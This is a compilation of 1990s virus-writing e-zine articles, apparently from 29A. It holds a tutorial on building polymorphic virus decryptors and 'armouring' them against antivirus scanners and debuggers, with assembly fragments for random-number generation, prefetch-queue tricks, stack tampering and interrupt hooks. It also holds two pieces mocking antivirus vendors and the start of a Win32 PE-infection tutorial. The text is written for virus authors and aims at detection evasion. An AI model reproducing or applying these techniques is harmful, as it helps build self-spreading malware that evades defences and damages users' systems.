³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> 1 = can be used as junk
³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> 1 = but only with jreg
³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> 1 = can use other regs if imm=0
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> = instruction length in bytes
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> = instruction number

The bb can be for example a three bit nr. and hold something like this:
000 - instr. is always 2 bytes long
001 - instr. is 2 bytes long if r/m = 00
010 - instr. is 3 bytes long if w = 0
100 - instr. is 4 bytes long if w = 1

or something like this. Here each one of you must use your imagination
with only one purpose: Optimization ! The stored data must be as compressed
as possible and as easy to access as possible.

You should have a place with, let's say, 12 bytes, filed with 0, where
you should transfer the instruction you want to create and OR it with the
proper values there and then transfer it. This offers speed because you
always know the source of instruction.

Actually, let's look directly into the code of M.O.F. and see how
it stores it's data:

db 2, 01101000b, 00000000b ;01 PUSH imm


db 1, 01011000b ;02 POP reg

<snip here>

db 2, 75h, 0h ;27 JNE


db 1, C3h ;28 RET

As you can see, the instructions are stored without any r/m, mod, or
reg field filled. In order to fill up the instructions we have a so called
'filling table' which looks like this:

n ? d r/m mod data16 reg1 reg2

n ! ? x xx xxx xxxxxxxxxxxxxxxx AA BB
³ ³ ³ ³ ³ ³ ³ ³ ³
³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄ second register
³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ first register
³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ data16 (0 if not necessary) (twice)
³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mod for r/m <> 11
³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ r/m for this instr
³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ the direction
³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ instruction type
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ segment override
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ instruction number

Register codification:

0000 - lreg
0001 - creg
0010 - kreg
0011 - jreg
0100 - preg
0101 - jrpg
0111 - sreg
1000 - dreg
1111 - none

? values: - 001 - a register/register instr.


- 010 - a register/immediate instr.
- 011 - a register/mem instr.
- 100 - a one register instr.
- 101 - a immediate only instr.
- 111 - a memory only instr.
! values: - 00 - none
- 01 - sreg
- 10 - dreg
- 11 - instruction is special and nothing furthure should be
considered

if mod = 111 then it's actualy - 100 if preg = SI or


- 101 if preg = DI.

So, let's take the first instruction in our code:

[1] mov lreg, length:

- !=00 - no segment override


- ?=010 - a register to immediate instr. type
- d=0 - normal direction
- r/m=00 - based
- mod=000 - no index
- data16_1 = length xor rndm
- data16_2 = rndm
- reg1=0000 - first register used is lreg
- reg2=1111 - no second register

In the first combination for the first instruction we have:

push imm 01
pop reg 02
xor reg,rndm 03

As you can see there are 2 immediate values used. M.O.F handles this
in this way (downwards). The first push is done with the first data16. The
pop reg is done with the lreg and because data16_2 is not 0, the xor is
done with the second data16. If data16_2 were 0 then only the first data
was used. Hope you get it.

2) How do I get the randoms ?


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I promised I'll get back to this. Here bellow is a routine that gives
you a random number between 0 and n-1. All you have to do is:

mov cx, n
Call random

and the routine returns the random in AX.

If you want a random between 0 - FFFFh just do mov cx, 0.

But first of all, in order to have a really random number you should
initialize the random number generator by doing a CALL RANDOMIZE.
Warning: The routine assumes you have your Delta handler set, otherwise
make BP = 0 !!

Random nr. generator


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
rand_seed Dw 0
RANDOMIZE: ;procedure to start the
Push AX CX DX ;random generator
Xor AH,AH ;get timer count
Int 1Ah
Mov CS:[BP + rand_seed],DX ;and save it
Xchg CH,CL
Add CS:[BP + rand_seed_2],CX
Pop DX CX AX
Ret
;--------------------------------------------------------------------------
RANDOM: ; the random number generator
In AL,40h ; timer, for random nr
Sub AX,CS:[BP + rand_seed]
Db 35h ; XOR AX,
rand_seed_2 Dw 0 ; what is here
Inc AX
Add CS:[BP + rand_seed],AX ; change seed
cmp cx, 0
je _out
Call Modulo
_out:
Ret
;--------------------------------------------------------------------------
MODULO: ; the modulo procedure ax = ax mod cx
Push DX
Xor DX, DX
Div CX
Xchg AX, DX
Pop DX
Ret
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

3) What parameters my routine must receive and what should it return ?


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I suggest that the virus should move itself the code to an empty
buffer, passing to the routine a pointer to that location and a length
of code to be encrypted. The pointer must be at the beginning of the code
to be encrypted not the beginning of all code !!

So the routine should receive something like:

DS:SI - pointer to code to be encrypted


CX - length of code.

Warning: The buffer at DS:SI must be big enough to hold the CX bytes
of code *and* the decryptor.
After the engine generated the decryptor it should return the length
of the encrypted code + the length of the decryptor.

4) Is this all ?!? Is my code completely mutant ?!?


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Nope...
Remember the entry point of the virus ? That place where you get the
Delta Handler and then Call the decryptor ? Well, that area should be done
in two ways:
a) made polimorphic as well
b) made very small so it doesn't flag AV's

Otherwise, you've done nothing... Your decryptor is perfect, but the


virus is cought by the first bytes... Handle with it... It's not hard.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ The unscrambling procedure ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

Ok, so you wonder what is that 'CALL unscramble' I put there in the
decryptor. I could as well say <unscrambling operation>. There actually
the code held by the 'creg' register is modified using a math operation
involving the second member, the key holder, e.g. the 'kreg' register.

In old routines the encryption was made using these ways:

Encrypt ³ Decrypt
ÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ
XOR ³ XOR
ROR ³ ROL
ADD ³ SUB
AND ³ OR (here with some playing around)
ÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄ

But more advanced procedures use many ways. For example, my own poly
routine (LJ_MOF - Multiple Opcode Fantasy) uses a very trivial way to
encrypt the code. It uses 4 methods and in each case the methods are put
in a random order. Then the words are encrypted each with another method,
in the given order. After each iteration the order shifts and the key is
increased. Therefore, we cannot decrypt the code by a simple math operation.

If your virus is a small one you may consider a DIV/MUL procedure,


but this is very slow. But if your virus is small you may consider an
AND/OR scrambling procedure. This is done like this:

c = code to be encrypted
k = encryption key
k' = NOT k

E1 = c AND k
E2 = c AND k'

In your code you store E1 and E2 (there by obtaining an encrypted


length = original length * 2). To restore the code simply do:

c = E1 or E2.

Check it:

1000 and 2222 = 168


NOT 2222 = -2223
1000 and -2223 = 832
----------------------
168 or 832 = 1000

So, the thing is you should have a separate unscrambling procedure.


Therefore, here is how I see the polymorphic decryptor that a good engine
should create:

EM
ÚÄÄÄÄÄÄÄÄÄÄ Host ESCÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³
EM ³
Entry ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³
³ Delta getter ³ ³
³ ³ ³
ÚÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´<Ä¿ ³
³ ³ ³ ³ ³
³ ³ virus body ³ ³ ³
³ ³ ³ ³ ³
³ ³ (poly engine) ³ ³ ³
³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄijÄ- Ä¿
³ ³ ³ ³ ³
³ ³ unscrambling routine ³ ³ ³
ÀÄ>ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ÃÄSUB All this part here must be
³ ARMOUR ³ ³ ³ generated by the polymorphic
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ engine.
³ decryptor ³ ³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄ- Ä-

So, the host calls the virus which calls the polymorphic decryptor.
First it encounters the ARMOUR routine, then it goes into the decryptor loop
which uses the Unscrambling Routine. After that the control is passed back
to the virus.

But, as we know how to create a polymorphic decryptor, creating


a polymorphic unscrambling routine is a piece of cake now. All you must
have in mind is to generate something able to make the inverse of the math
operation you performed. For the beginners I suggest instead of a CALL to
an unscrambling routine to use a simple XOR creg, kreg and then go further
with more complicated routines.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Armouring your routines ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

Ok, so you made a decryptor, completely polymorphic, not one byte


there is the same in different generations and still some AV's report that
this could be a virus... With the kind of decryptor I gave above, like MOF
is, generating almost 2000 bytes decryptors the possibility is very small.
And still we should use some techniques.

Your decryptor should have in the beginning what I mentioned in the


scheme: The ARMOUR. I will not get too deep into this, first because I
didn't studied it enough and second of all because there are many articles
out there about this.

From the beginning I will say that in these days you *should* work
in 386 instructions (maybe even 486). This will mess up many AV's and in
extra, imagine the possibilities: you have eight 8 bit regs, eight 16 bit
regs and eight 32 bit registers, plus some new segment registers ! New
polymorphic ways !

Second of all, armour your calls to the decryptor. This could be done
easily by removing a CALL decryptor instruction with something not so
obvious, like this:

mov ax, 0b00h ; get keyboard status


int 21h ; this returns al with FFh or 0h
dec al ; if we decrement al we'll have a
jns not_good ; signed number
jmp decryptor ; which will lead us to our decryptor.
not_good:

Again, don't let the decryptor finish the code. This is followed by
many AV's. If you can't make a poly engine, at least put some junk after
your last RET.

Anyway, in the polymorphic ARMOUR routine (which mustn't be too


obvious) you should do some of these:

a) Overflow the stack, like:

* mov ax, sp
mov sp, 0
pop bx
mov sp, ax

or simply mess with it, like:

* Not SP
Not SP or

* Neg SP
Neg SP

b) Use the Prefetching Queue. Very good technique:

Example 1:

mov cs:[patch], 04CB4H


patch: Jmp over ; this will turn into Mov ah, 4ch
Int 21h
over: ...

Example 2:

mov cs:[patch], 0F7EBh


patch: Nop ; this will become JMP $-7 and will be
Nop ; an infinite jump
...
mov cs:[patch], 0000h

You have to understand: normaly, the instruction at the `patch' address


will be executed by the processor as a result of the Prefetching Queue. But
if debugged or traced, the code will change. In the first example a
'Terminate' will occure, in the second example an infinite jump will appear.
The good thing is that you can put a ';' before the mov cs:... instruction
in order to easily debug your programs.

c) Make very long loops doing a very simple operation (like copying
code from a source that's the same with it's destination), and
make these loops long:

mov ds, ax
mov es, ax
mov di, si
mov cx, 0FEFEh
loop1:
movsb
loop loop1

d) Make calls to Interupts that do nothing, or make calls to interupts


that return known values.

e) Try to modify the address of INT 01, or INT 03. Then check the int
table and see if they changed. If not -> go into an infinite loop,
someone is tracing your code.

f) Hook some interrupts (like 15 or 19) and in the handler block the
keyboard (for example by copying the vector for INT 1ch into the
INY 09h place)

g) Check the PSP:0000 and if it's not CD20h or if the PSP is it's own
parent, hook the computer.

h) Get known values, like CDh at PSP:0000 and use it by adding or


substracting in order to obtain what you want.
j) A very good techinque is the 'wrap around 0' technique. In order to
use this you must know that when a register is increased above 0FFFFh it
goes around 0 like this:

0FFFEh + 3h = 1h

Let's take two numbers. One is called 'base number' (B) and the other
'increment' (I) with the propriety:

K = B + I,
B + I > 0FFFFh

For example, we consider that K is the pointer to our code to decrypt.


An usual way to get a byte from that position would be like this:

mov di, K
...
mov ax, word ptr cs:[di]

But with the numbers B and I we can change our code to this:

mov di, B
...
mov ax, word ptr cs:[di + I]

B + I will wrap around 0 and will give the original K. This


makes things very bad for the heuristic analysers who search for the places
the usual pointer registers hold.
Note that numbers wrap around 0 also when they are decreased:

0h - 1h = 0FFFFh

So you can also use at your choice something like [di - I]


Of course, the B and I numbers will always be choosed randomly.

k) Beware when using not very used instruction that may flag some AV's.
Like for example AAA, AAS, DAS and so on. Just don't include these in your
junk instruction table.

Ok, I'll stop here, because we are not going to make this article an
anti-debugging one. Armour your poly-decryptor how you can and let the real
code do the real tricks.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Advanced polymorphism ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

OK, now after we have `mastered' the basics of polymorphism, if I can


say so, let's take a look at ways to render the basic poly engine to what
should be the perfect engine. In order to obtain this, we must add to the
requirements of a perfect poly engine one more thing:

* the decryptor should be able to place itself wherever into the


code.

Look a little at how I see the process of 'new code procreation':

This is how our virus resides in memory:

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ÚÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄ¿ ³
³ ³ Virus ³ ³ Empty ³ ³
³ ³ body ³ ³ space ³ ³
³ ³ ³ ³ ³ ³
³ ³ in ³ ³ in ³ ³
³ ³ memory ³ ³ memory ³ ³
³ ÀÄÄÄÄÄÄÄÄ- ÃÄÄÄÄÄÄÄÄ´ ³ ÄÄ¿
³ ³ free ³ ³ ³__ This extra space is needed for the
³ ³ space ³ ³ ³ decryptor
³ ÀÄÄÄÄÄÄÄÄ- ³ ÄÄ-
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

The poly engine will make a copy of the Virus body over the empty space:

ÚÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ¿


³ Copy of ³ ³#########³ ³#########³ Ä Part 1
³ virus ³ Step 1 ³#########³ Step 2 ÃÄÄÄÄÄÄÄÄÄ´
³ body ³ ÄÄÄÄÄÄÄÄÄÄÄ> ³#########³ ÄÄÄÄÄÄÄÄÄÄÄ> ³ free ³
³ ³ ³#########³ ³ space ³
³ ³ ³#########³ ÃÄÄÄÄÄÄÄÄÄ´
ÃÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄ´ ³#########³
³ free ³ ³ free ³ ³#########³ Ä Part 2
³ space ³ ³ space ³ ³#########³
ÀÄÄÄÄÄÄÄÄÄ- ÀÄÄÄÄÄÄÄÄÄ- ÀÄÄÄÄÄÄÄÄÄ-

Where '#' represents the code already encrypted using a given method.
In step 2, we move the free space somewhere random into the encrypted code.
Actually, we break the encrypted code in two parts: the upper part and the
lower part. So, we will have some suplimentar values that we should consider:

Start1 = start of first part of code


End1 = end of first part of code
End2 = end of second part of code

We don't need more: the free space start is at End1+1 and the second
part start is at End1+FreeSpace+1.
After this in the free space the engine will create the decryptor.
It must be able to decrypt both parts (at your choice you can encrypt them
using different methods) and then give control to a place well known
(usualy at the beginning of code). Here we must get rid of the decryptor !
So, after the 'Going Resident part' acted, the memory will look like this:

ÚÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ¿
³+++++++++³ ³+++++++++³ '+' represents de decrypted code.
ÃÄÄÄÄÄÄÄÄÄ´ ³+++++++++³ We got rid of the decryptor by
³ DecrypÄ ³ ³+++++++++³ moving upwards the entire Part 2
³ tor ³ ÄÄÄÄÄÄÄÄÄ> ³+++++++++³ and make it overwrite the
ÃÄÄÄÄÄÄÄÄÄ´ ÀÄÄÄÄÄÄÄÄÄ- Decryptor.
³+++++++++³
³+++++++++³
³+++++++++³
ÀÄÄÄÄÄÄÄÄÄ-

So, the decryptor worked ! It unscrambled the code, and gave it the
control. The code went resident and rejoined his two parts becoming exactly
like the original code existed.

The main advantage of this thing is that the Call to the decryptor is
variable. It is now almost impossible for the heuristic cleaners to locate
the place of the virus and remove it, by searching for the original header
after emulating the decryptor, especialy if you use some armouring
techniques along with that.

Here are some other ideas you may use to increase the polymorphism
level of your engine:

* play with the direction (encryption/decryption to go upwards or


downwards)
* play with the word/byte level encryption type
* after the polymorphic decryptor worked make it give control to
another decryptor (this time a really sofisticated one. For more
on that check out the `Decryptors' article which I will release
soon which will include CoProcessor related decryptors)

ÚÄÄÄÄÄÄÄÄÄÄÄ¿
³ Closing ³
ÀÄÄÄÄÄÄÄÄÄÄÄ-

Since the early days of programming, when I was trying to create


self-checking executables or to include in games' executables lines like:
'This game comes from me!', I was intrigued by the internal looks of the
code. I knew that you can do this kind of things only by looking at the bit
level of the instructions. When I heard about viruses I was curious too.
When I heard about the polymorphic routines and after I studied a couple
of them I became really interested about this. I don't know if this
document helps you in any way, but I would appreciate any feed-back and any
ideas in this direction. Thanx.

Many thanx go to: The Black Baron, Dark Avenger, Rock Steady, Dark Angel,
Qark, Quantum, Hellraiser, Executioner

ÚÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
³ Lord Julus - 1997 º
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Strategic Alliances? Bring 'em on, we love 'em!
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Rajaat / 29A

"Data Fellows Forges Strategic Alliance with Top Anti-Virus


Development Company"

Maybe you have read these headlines on the site of DataFellows, the home of
F-Prot Professional and F-Secure Antivirus and other products (for the cu-
rious amongst you with a browser and internet access, take a look at http:/
/www.datafellows.com). I was really glad to hear this, since I think this
Strategic Alliance can bring forth a very good Antivirus product. Both Da-
taFellows and the AVP team have good programmers, and one of the greatest
virus researchers known in the Antivirus scene. As an end user, this would
be news from heaven.

I started to read on the article, as it was intrigueing...

"Helsinki, Finland/San Jose, Calif. October 1, 1997--Data


Fellows, the European developer of F-PROT Professional, has
formed an exclusive, strategic alliance with another superior
anti-virus technology team: the AVP development team led by
Eugene Kaspersky. Together these companies combine the best
minds in the anti-virus world and are the foundation of the new
revolutionary F-Secure Anti-Virus CounterSign Technology from
Data Fellows. This new CounterSign Technology allows F-Secure
Anti-Virus to be the first line of anti-virus software to
combine multiple virus scanning engines into a single framework
by using both the F-PROT and AVP anti-virus engines
simultaneously."

So they want to combine their engines... That's a great idea! This will be
much more tougher to defeat. There is no doubt we would like to challenge
that product, and try to circumvent it's "excellent" double engine using
scanning technique. Don't forget scanning with 2 engines will also take a-
bout double of the time it would otherwise do. That would make F-Secure An-
tivirus with CounterSign(tm) technology about twice as slow compared to
respective other antivirus products worth their money. Anyway...

"Because the number of viruses in the world is growing at such


an alarming rate, it is nearly impossible for any single
anti-virus product to detect and protect against this threat,"
said Risto Siilasmaa, CEO and Managing Director of Data
Fellows, LTD. "With our new CounterSign technology and this
combination of two superior anti-virus engines such as F-PROT
and AVP, the detection rates of the two engines approaches 100%
and the likelihood a virus would go undetected is less than
ever before."

I like the above paragraph a lot. I do acknowledge the fact that it is in-
deed nearly impossible for any single antivirus product to detect and pro-
tect against the new wave of viruses. So they combine their CounterSign(tm)
technology and "the two superior antivirus engines F-Prot and AVP", and
what do we get??? Again a single antivirus product!

That's right guys. 1 + 1 = 1 in this case ;-)

Stopped laughing yet? Ok...


To be to the point, these antivirus engines combined can result in a really
difficult to beat antivirus product, but there is also a positive side for
us, virus authors. This "Strategic Alliance" also means that in the future
we do have to concentrate on one product less! Yes, they are right in res-
pect that it is harder to beat this combined product, but it will certainly
take less time than testing your virus on 2 completely different products,
let alone the fact that it costs you a lot more time to write retro struc-
tures against 2 antivirus products instead of one.

Afterthought: Should we also take action and form "Strategic Alliances" o-


ther groups? We probably would not benefit from a "single virus engine"...,
but maybe some kind of function library for easy and clean virus writing...
An API? Food for thought and another article I guess :-)

People that want to read the complete story go to:

(*) http://www.datafellows.com/news/pr/f-secure/st-alnc.htm

Rajaat / 29A
Stupid descriptions
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Rajaat / 29A

Ok, guys. It goes like this... ;-) Try to find some description of one of
your viruses on the Internet that is such an error that it is plainly visi-
ble even to people that don't understand as much about viruses as the ave-
rage 29A magazine reader is doing. Append it at the end of the text file
and send it around the rest of the people... If it's hilarious enough we
can also include people from outside 29A, but I think this is really a joke
;-) I hope you guys are in for it. Here are two sad examples of how great
the virus analysts for Symantec are...

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
< Rajaat > April Fools?

(*) http://www.symantec.com/avcenter/data/rajaat.518_(1).html

VirusName:Rajaat.518 (1)
Aliases:none
Infection Length:N/A
Likelihood:rare
Regions Reported:N/A
Target Platform:

Description:

The Rajaat.518 (1) virus is smaller than average. It is 0 bytes


in length. It only infects .COM files. This virus can be caught
through e-mail, BBSes, or the Internet. This virus is
memory-resident. After the virus has been launched, it infects
other programs as they are accessed. This virus actively hides
itself while it is resident in memory. This virus has never been
encountered by our customers. This virus does not have any known
payload (that is, it does nothing other than replicate). It does
not employ encryption. It is called a multipartite virus.
Multipartite viruses can infect boot records as well as files.
Because of the nature of the Rajaat.518 (1) virus, Norton
AntiVirus is unable to repair infected files. To remove the
virus, delete and reinstall all infected files.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
< Rajaat > And this is what Symantec has to say about my TSR Companion
virus (companion viruses do create COM files and don't touch
the EXE files themselves).

(*) http://www.symantec.com/avcenter/data/rajaat.287.html

VirusName:Rajaat.287
Aliases:none
Infection Length:287
Likelihood:rare
Regions Reported:N/A
Target Platform:COM files

Description:

The Rajaat.287 virus attaches 287 bytes to host files. This


virus only infects .COM files. It is a "direct action" virus.
The Rajaat.287 virus virus does not employ any "stealthing"
mechanisms. This virus has never been encountered by our
customers. This virus does not have any known payload (that is,
it does nothing other than replicate). This virus propagates
identical copies of itself. It infections cannot be repaired.
Delete all infected programs and replace them with clean copies.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Greetings,
Rajaat / 29A
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
ÚÄ PE infection under Win32 Ä¿ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
³ by ³ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
³ Mister Sandman ³ ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
³ Jacky Qwerty ³ ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÀÄÄÄÄÄÄÄÄÄÄÄ GriYo ÄÄÄÄÄÄÄÄÄÄ- ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

ÄÄ´ Introduction ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Same as we establish different ages in the evolution of computers we should


establish different ages also in the evolution of computer viruses, as they
advance together with the systems, platforms, and processors they intend to
infect. There were not, of course, any viruses for those huge wardrobe-like
computers with whom you couldn't do much more than what you can do nowadays
with a supertiny pocket calculator. But since viral activity started around
1985, lots and lots of people have been crashing their balls at their chair
trying to evolve and advance in viral technology.

However, save for some exceptions, we have been fighting for over ten years
against the same operating system, the same 16-bit crap, designed and never
improved by Microsoft. That's why such a long period of time should be con-
sidered an only step, the first period of the viral existence in computers.

Now this first viral age seems to have reached its end, as well as DOS, al-
beit it will continue working in millions of computers, all over the world.
In the other hand we have Windows95 and WindowsNT (from now onwards and to-
gether with Win32s we'll call them Win32), which are being used and instal-
led in an incredibly increasing percentage of computers. We can't say Win32
will be the future and definitive OS, but it does seem it is one of the 1st
storeys the final thing is gonna be built on.

This new phase of operating systems also means a new phase of viruses which
will work and infect under these new scenarios. Win32 has become the most
used OS in less than two years, and will surely wipe out of the map many o-
ther minoritary operating systems, such as OS/2. Virus authors have reali-
sed about this fact, and that's why a new era opens at us... the second vi-
ral age or generation, a new breed of infectors... 32-bit viruses.

If you're one of those who have always dreamed about how cool would it have
been to start writing viruses around 1985, when they first appeared, but it
was too late for your dreams to become reality, now you have a second opor-
tunity to become a pioneer in the VX scene. And if you're just one of those
dorks whose only wish is to remain being nobody as one of who knows how ma-
ny thousands of DOS virus writers and can't go further than the (true) sta-
tement "Windows95 = shit"... stop reading and go code with your open menta-
lity to YAM, cause this won't be of your interest.

Before going further in this tutorial, it must remain clear for our readers
that we DO support the statement "Windows95 = shit", but proffesionality is
usually a synonym of objectivity, and that's why we have to focus it with
impartiallity. I think no intelligent human being in this world likes Win-
dows95, but it's an interesting attitude to see it just as a test 32-bit OS
in order to advance in the viral-oriented researching, without bearing in
mind how good or bad it is, or how many bugs it has.

Just say "let's go for it!".

ÄÄ´ Welcome to the new school ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

This tutorial is *almost* 100% theoretical, as it intends to illustrate the


so called "29A technique", which will help you in order to write compatible
viruses for Windows95 and WindowsNT and to make them much more versatile in
the concerning about PE modifications. At the moment of writing this, there
were _only_ four Win32 infectors (Win32.Jacky, Win32.Cabanas, Esperanto and
Win32.Marburg - order of appearance), and they all have been written by 29A
members, which shows the lack of Win32 virus coders by now. The contents of
this article are pretty advanced and oriented to those who have already co-
ded at least some Windows95 PE infector.

If your intentions are to get started in the 32-bit virus age and begin co-
ding some basic PE infectors, we recommend you to have a look to other pre-
viously published sources in other virus magazines; then, come back to this
article and get some pretty useful clues about how to stay compatible :)

This tutorial will deal with "APIs: the key stone", chapter in which we try
to explain the importance of working at API level, "The KERNEL32 problem",
and "The GetModuleHandle solution", which explain one of the main problems
in the concerning about getting the base address of KERNEL32.dll, "GetProc-
Address", showing the best way to get API addresses, "Simple PE infection",
which illustrates a simpler way to infect PE files, and "Cool addings", as
a preface to another article in 29A#3, which describes some features, which
can be added to any Win32 virus in order to make it more complex.

Before stepping into the first chapter it's a honor to say that the pioneer
of these techniques, the guy who wrote the first Win32 infectors, and thus,
the one who should be known for having developed the first 32-bit viruses
is Jacky Qwerty/29A, the author of Win32.Jacky, and Win32.Cabanas. It would
be completely unfair not to mention -and even congratulate- him.

ÄÄ´ APIs: the key stone ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

The most important thing you'll have to bear in mind while writing your 32-
bit viruses for Windows platforms is to always! use APIs. Why are APIs that
important? the answer is easy... they are the only point Windows95 and Win-
dowsNT have in common. Viruses have to look as closer as possible as normal
applications, and there are no normal applications in Win32 which don't use
APIs in order to perform its functioning. Using apparently neat tricks such
as calling interrupt 21h within a Win32 application is the worst thing your
Win32 virus can do, as it won't be able to stay compatible and besides will
be 100% dependent of the presence of DOS. While nowadays this last reason
does not represent any serious trouble, it will for sure be a pain in the
near future as DOS is about to be wiped out of our computers as soon as new
versions of Windows95 or WindowsNT are released.

ÄÄ´ The KERNEL32 problem ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Once we have assumed we're gonna work at API level, the very first necessa-
ry thing is to locate KERNEL32.dll, as it is the library which contains the
address of all the API functions we need to use in our virus. But, there is
